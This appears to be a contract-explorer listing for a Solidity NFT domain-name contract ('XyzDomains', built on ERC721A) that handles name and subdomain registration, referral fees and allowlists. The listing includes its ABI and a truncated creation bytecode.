/** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (to.isContract()) if(!_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } /** * @dev Equivalent to `_safeMint(to, quantity, '')`. */ function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement * {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex < end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex < end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint(address to, uint256 quantity) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex < end); _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = to; currSlot.startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Equivalent to `_burn(tokenId, false)`. */ function _burn(uint256 tokenId) internal virtual { _burn(tokenId, false); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId, bool approvalCheck) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); address from = prevOwnership.addr; if (approvalCheck) { bool isApprovedOrOwner = (_msgSender() == from || isApprovedForAll(from, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); } _beforeTokenTransfers(from, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, from); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { AddressData storage addressData = _addressData[from]; addressData.balance -= 1; addressData.numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. TokenOwnership storage currSlot = _ownerships[tokenId]; currSlot.addr = from; currSlot.startTimestamp = uint64(block.timestamp); currSlot.burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; TokenOwnership storage nextSlot = _ownerships[nextTokenId]; if (nextSlot.addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId != _currentIndex) { nextSlot.addr = from; nextSlot.startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, address(0), tokenId); _afterTokenTransfers(from, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } pragma solidity ^0.8.4; contract XyzDomains is ERC721A, Ownable, ReentrancyGuard { using Strings for uint256; uint256 public cost = 0; uint256 public ref = 20; uint256 public ref_owner = 30; uint256 public ref_discount = 20; uint256 public subdomains_fee = 10; uint256 private maxCharSize=20; string private domain='.xyz'; string private BASE_URI = ''; bool public IS_SALE_ACTIVE = false; bool public IS_ALLOWLIST_ACTIVE = false; mapping(address => bool) public allowlistAddresses; mapping(string => mapping(address => bool)) public subDomains_allowlistAddresses; mapping(string => address) public resolveAddress; mapping(address => string) public primaryAddress; mapping(string => bool) public subDomains_publicSale; mapping(string => uint) public subDomains_cost; mapping(string => bytes32) public subDomains_allowList; mapping(string => uint) public subDomains_allowList_cost; mapping(string => mapping(string => string)) public dataAddress; bytes32 public merkleRoot; bytes _allowChars = "0123456789-_abcdefghijklmnopqrstuvwxyz"; constructor( string memory _tokenName, string memory _tokenSymbol, string memory _hiddenMetadataUri ) ERC721A(_tokenName, _tokenSymbol) { } function _baseURI() internal view virtual override returns (string memory) { return BASE_URI; } function setAddress(string calldata xyz_name, address newresolve) external { TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[xyz_name]); if (Ownership.addr != msg.sender) revert("Error"); bytes memory result = bytes(primaryAddress[resolveAddress[xyz_name]]); if (keccak256(result) == keccak256(bytes(xyz_name))) { primaryAddress[resolveAddress[xyz_name]]=""; } resolveAddress[xyz_name]=newresolve; } function setPrimaryAddress(string calldata xyz_name) external { require(resolveAddress[xyz_name]==msg.sender, "Error"); primaryAddress[msg.sender]=xyz_name; } function setDataAddress(string calldata xyz_name,string calldata setArea, string memory newDatas) external { TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[xyz_name]); if (Ownership.addr != msg.sender) revert("Error"); dataAddress[xyz_name][setArea]=newDatas; } function getDataAddress(string memory xyz_name, string calldata Area) public view returns(string memory) { return dataAddress[xyz_name][Area]; } function setBaseURI(string memory customBaseURI_) external onlyOwner { BASE_URI = customBaseURI_; } function setMaxCharSize(uint256 maxCharSize_) external onlyOwner { maxCharSize = maxCharSize_; } function setAllowChars(bytes memory allwchr) external onlyOwner { _allowChars = allwchr; } function setPrice(uint256 customPrice) external onlyOwner { cost = customPrice; } function setRefSettings(uint ref_,uint ref_owner_,uint ref_discount_,uint subdomains_fee_) external onlyOwner { ref = ref_; ref_owner = ref_owner_; ref_discount = ref_discount_; subdomains_fee = subdomains_fee_; } function setSaleActive(bool saleIsActive) external onlyOwner { IS_SALE_ACTIVE = saleIsActive; } function setAllowListSaleActive(bool WhitesaleIsActive) external onlyOwner { IS_ALLOWLIST_ACTIVE = WhitesaleIsActive; } function setSubdomainSaleActive(bool saleIsActive, uint256 customPrice, string calldata xyz_name) public { TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[xyz_name]); require(Ownership.addr == msg.sender, "Invalid"); subDomains_cost[xyz_name] = customPrice; subDomains_publicSale[xyz_name] = saleIsActive; } function register(address ref_address, string memory xyz_name) public payable { uint256 price = cost; bool is_ref=false; uint256 ref_cost=0; require(bytes(xyz_name).length<=maxCharSize,"Long name"); require(bytes(xyz_name).length>0,"Write a name"); require(_checkName(xyz_name), "Invalid name"); if (ref_address== 0x0000000000000000000000000000000000000000) { price=cost; } else { if (bytes(primaryAddress[ref_address]).length>0){ ref_cost=price*ref_owner/100; } else { ref_cost=price*ref/100; } price = price*(100-ref_discount)/100; is_ref=true; } require (tokenAddressandID[xyz_name] == 0 , "This is already taken"); require(IS_SALE_ACTIVE, "Sale is not active!"); require(msg.value >= price, "Insufficient funds!"); tokenIDandAddress[_currentIndex]=xyz_name; tokenAddressandID[xyz_name]=_currentIndex; resolveAddress[xyz_name]=msg.sender; if (is_ref) { payable(ref_address).transfer(ref_cost); } _safeMint(msg.sender,1); } function allowList(string memory xyz_name, bytes32[] calldata _merkleProof) public payable { require(IS_ALLOWLIST_ACTIVE, "Allow List sale is not active!"); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, merkleRoot, leaf),"Invalid proof!"); require(bytes(xyz_name).length<=maxCharSize,"Long name"); require(bytes(xyz_name).length>0,"Write a name"); require(_checkName(xyz_name), "Invalid name"); require(allowlistAddresses[msg.sender]!=true, "Claimed!"); require (tokenAddressandID[xyz_name] == 0 , "This is already taken"); allowlistAddresses[msg.sender] = true; tokenIDandAddress[_currentIndex]=xyz_name; tokenAddressandID[xyz_name]=_currentIndex; resolveAddress[xyz_name]=msg.sender; _safeMint(msg.sender,1); } function registerSubdomain(string memory xyz_name, string memory subdomain_name) public payable { require(IS_SALE_ACTIVE, "Sale is not active!"); string memory new_domain=string.concat(subdomain_name,'.',xyz_name); require(bytes(subdomain_name).length<=maxCharSize,"Long name"); require(bytes(subdomain_name).length>0,"Write a name"); require(_checkName(xyz_name), "Invalid name"); require(_checkName(subdomain_name), "Invalid name"); require (tokenAddressandID[new_domain] == 0 , "This is already taken"); TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[xyz_name]); if (Ownership.addr == msg.sender) { tokenIDandAddress[_currentIndex]=new_domain; tokenAddressandID[new_domain]=_currentIndex; resolveAddress[new_domain]=msg.sender; _safeMint(msg.sender,1); } else { require(subDomains_publicSale[xyz_name]==true, "Only Owner can register"); require(msg.value >= subDomains_cost[xyz_name], "Insufficient funds!"); payable(Ownership.addr).transfer(msg.value*(100-subdomains_fee)/100); tokenIDandAddress[_currentIndex]=new_domain; tokenAddressandID[new_domain]=_currentIndex; resolveAddress[new_domain]=msg.sender; _safeMint(msg.sender,1); } } function allowListSubdomain(string memory xyz_name, string memory subdomain_name, bytes32[] calldata _merkleProof) public payable { string memory new_domain=string.concat(subdomain_name,'.',xyz_name); bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(_merkleProof, subDomains_allowList[xyz_name], leaf),"Invalid proof!"); require(msg.value >= subDomains_allowList_cost[xyz_name], "Insufficient funds!"); require(bytes(subdomain_name).length<=maxCharSize,"Long name"); require(bytes(subdomain_name).length>0,"Write a name"); require(_checkName(xyz_name), "Invalid name"); require(_checkName(subdomain_name), "Invalid name"); require(subDomains_allowlistAddresses[xyz_name][msg.sender]!=true, "Claimed!"); require (tokenAddressandID[new_domain] == 0 , "This is already taken"); TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[xyz_name]); payable(Ownership.addr).transfer(msg.value*(100-subdomains_fee)/100); subDomains_allowlistAddresses[xyz_name][msg.sender] = true; tokenIDandAddress[_currentIndex]=new_domain; tokenAddressandID[new_domain]=_currentIndex; resolveAddress[new_domain]=msg.sender; _safeMint(msg.sender,1); } function namediff(uint256 tokenId , string calldata new_xyz_name) external onlyOwner { tokenIDandAddress[tokenId]=new_xyz_name; tokenAddressandID[new_xyz_name]=tokenId; } function walletOfOwnerName(address _owner) public view returns (string[] memory) { uint256 ownerTokenCount = balanceOf(_owner); string[] memory ownedTokenIds = new string[](ownerTokenCount); uint256 currentTokenId = 1; uint256 ownedTokenIndex = 0; while (ownedTokenIndex < ownerTokenCount) { address currentTokenOwner = ownerOf(currentTokenId); if (currentTokenOwner == _owner) { ownedTokenIds[ownedTokenIndex] = string.concat(tokenIDandAddress[currentTokenId],domain); ownedTokenIndex++; } currentTokenId++; } return ownedTokenIds; } function lastAddresses(uint256 count) public view returns (string[] memory) { uint256 total = totalSupply(); string[] memory lastAddr = new string[](count); uint256 currentId = total - count; uint256 ownedTokenIndex = 0; require(currentId>=0,"Invalid"); while (total > currentId) { lastAddr[ownedTokenIndex] = string.concat(tokenIDandAddress[total],domain); ownedTokenIndex++; total--; } return lastAddr; } function setMerkleRoot(bytes32 _newMerkleRoot) external onlyOwner { merkleRoot = _newMerkleRoot; } function setMerkleRootSubdomain(bytes32 _newMerkleRoot, string memory xyz_name, uint256 _cost) external { TokenOwnership memory Ownership = _ownershipOf(tokenAddressandID[xyz_name]); if (Ownership.addr != msg.sender) revert("Error"); subDomains_allowList[xyz_name] = _newMerkleRoot; subDomains_allowList_cost[xyz_name] = _cost; } function _checkName(string memory _name) public view returns(bool){ uint allowedChars =0; bytes memory byteString = bytes(_name); bytes memory allowed = bytes(_allowChars); for(uint i=0; i < byteString.length ; i++){ for(uint j=0; j<allowed.length; j++){ if(byteString[i]==allowed[j] ) allowedChars++; } } if (allowedChars==byteString.length) { return true; } else { return false; } } /** PAYOUT **/ function withdraw() public onlyOwner nonReentrant { // This will transfer the remaining contract balance to the owner. // Do not remove this otherwise you will not be able to withdraw the funds. // ============================================================================= (bool os, ) = payable(owner()).call{value: address(this).balance}(''); require(os); // ============================================================================= } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"_tokenName","type":"string"},{"internalType":"string","name":"_tokenSymbol","type":"string"},{"internalType":"string","name":"_hiddenMetadataUri","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"ApprovalQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"ApprovalToCurrentOwner","type":"error"},{"inputs":[],"name":"ApproveToCaller","type":"error"},{"inputs":[],"name":"BalanceQueryForZeroAddress","type":"error"},{"inputs":[],"name":"MintToZeroAddress","type":"error"},{"inputs":[],"name":"MintZeroQuantity","type":"error"},{"inputs":[],"name":"OwnerQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"TransferCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"TransferFromIncorrectOwner","type":"error"},{"inputs":[],"name":"TransferToNonERC721ReceiverImplementer","type":"error"},{"inputs":[],"name":"TransferToZeroAddress","type":"error"},{"inputs":[],"name":"URIQueryForNonexistentToken","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"IS_ALLOWLIST_ACTIVE","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"IS_SALE_ACTIVE","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_name","type":"string"}],"name":"_checkName","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"xyz_name","type":"string"},{"internalType":"bytes32[]","name":"_merkleProof","type":"bytes32[]"}],"name":"allowList","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"xyz_name","type":"string"},{"internalType":"string","name":"subdomain_name","type":"string"},{"internalType":"bytes32[]","name":"_merkleProof","type":"bytes32[]"}],"name":"allowListSubdomain","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"allowlistAddresses","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"},{"internalType":"string","name":"","type":"string"}],"name":"dataAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"xyz_name","type":"string"},{"internalType":"string","name":"Area","type":"string"}],"name":"getDataAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"lastAddresses","outputs":[{"internalType":"string[]","name":"","type":"string[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"merkleRoot","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"string","name":"new_xyz_name","type":"string"}],"name":"namediff","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"primaryAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ref","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ref_discount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ref_owner","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"ref_address","type":"address"},{"internalType":"string","name":"xyz_name","type":"string"}],"name":"register","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"xyz_name","type":"string"},{"internalType":"string","name":"subdomain_name","type":"string"}],"name":"registerSubdomain","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"resolveAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"xyz_name","type":"string"},{"internalType":"address","name":"newresolve","type":"address"}],"name":"setAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"allwchr","type":"bytes"}],"name":"setAllowChars","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"WhitesaleIsActive","type":"bool"}],"name":"setAllowListSaleActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"customBaseURI_","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"xyz_name","type":"string"},{"internalType":"string","name":"setArea","type":"string"},{"internalType":"string","name":"newDatas","type":"string"}],"name":"setDataAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxCharSize_","type":"uint256"}],"name":"setMaxCharSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_newMerkleRoot","type":"bytes32"}],"name":"setMerkleRoot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_newMerkleRoot","type":"bytes32"},{"internalType":"string","name":"xyz_name","type":"string"},{"internalType":"uint256","name":"_cost","type":"uint256"}],"name":"setMerkleRootSubdomain","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"customPrice","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"xyz_name","type":"string"}],"name":"setPrimaryAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"ref_","type":"uint256"},{"internalType":"uint256","name":"ref_owner_","type":"uint256"},{"internalType":"uint256","name":"ref_discount_","type":"uint256"},{"internalType":"uint256","name":"subdomains_fee_","type":"uint256"}],"name":"setRefSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"saleIsActive","type":"bool"}],"name":"setSaleActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"saleIsActive","type":"bool"},{"internalType":"uint256","name":"customPrice","type":"uint256"},{"internalType":"string","name":"xyz_name","type":"string"}],"name":"setSubdomainSaleActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_allowList","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_allowList_cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"},{"internalType":"address","name":"","type":"address"}],"name":"subDomains_allowlistAddresses","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"subDomains_publicSale","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"subdomains_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"","type":"string"}],"name":"tokenAddressandID","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"tokenIDandAddress","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"walletOfOwnerName","outputs":[{"internalType":"string[]","name":"","type":"string[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
6000600c556014600d819055601e600e55600f819055600a60105560115560c06040526004608090815263173c3cbd60e11b60a052601290620000439082620001fe565b50604080516020810190915260008152601390620000629082620001fe565b506014805461ffff1916905560408051606081019091526026808252620045cc6020830139601f90620000969082620001fe565b50348015620000a457600080fd5b50604051620045f2380380620045f2833981016040819052620000c79162000379565b82826004620000d78382620001fe565b506005620000e68282620001fe565b5050600160005550620000f93362000107565b50506001600b55506200040a565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200018457607f821691505b602082108103620001a557634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620001f957600081815260208120601f850160051c81016020861015620001d45750805b601f850160051c820191505b81811015620001f557828155600101620001e0565b5050505b505050565b81516001600160401b038111156200021a576200021a62000159565b62000232816200022b84546200016f565b84620001ab565b602080601f8311600181146200026a5760008415620002515750858301515b600019600386901b1c1